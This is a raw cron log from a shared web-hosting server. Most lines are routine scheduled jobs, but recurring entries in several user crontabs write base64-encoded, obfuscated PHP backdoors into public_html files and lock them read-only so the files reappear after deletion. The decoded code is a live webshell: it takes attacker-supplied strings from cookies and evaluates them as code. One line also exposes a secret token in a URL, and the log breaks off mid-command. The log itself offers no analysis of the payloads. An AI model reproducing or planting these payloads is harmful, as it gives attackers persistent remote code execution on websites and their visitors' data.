Mar  1 18:16:01 medusa CROND[18811]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:16:01 medusa CROND[18812]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:16:01 medusa CROND[18814]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:16:01 medusa CROND[18816]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:16:01 medusa CROND[18820]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:16:01 medusa CROND[18824]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 18:16:01 medusa CROND[18825]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:16:01 medusa CROND[18839]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 18:17:02 medusa CROND[11986]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:17:02 medusa CROND[11987]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 18:17:02 medusa CROND[11988]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:17:02 medusa CROND[11989]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:17:02 medusa CROND[11992]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  1 18:17:02 medusa CROND[11995]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:17:02 medusa CROND[11997]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:17:02 medusa CROND[11996]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:17:02 medusa CROND[11999]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:17:02 medusa CROND[12003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:17:02 medusa CROND[12004]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:17:02 medusa CROND[12005]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:17:02 medusa CROND[12000]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:18:01 medusa CROND[4282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:18:01 medusa CROND[4283]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Mar  1 18:18:01 medusa CROND[4284]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:18:01 medusa CROND[4287]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:18:01 medusa CROND[4288]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:18:01 medusa CROND[4290]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:18:01 medusa CROND[4293]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:18:01 medusa CROND[4295]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo 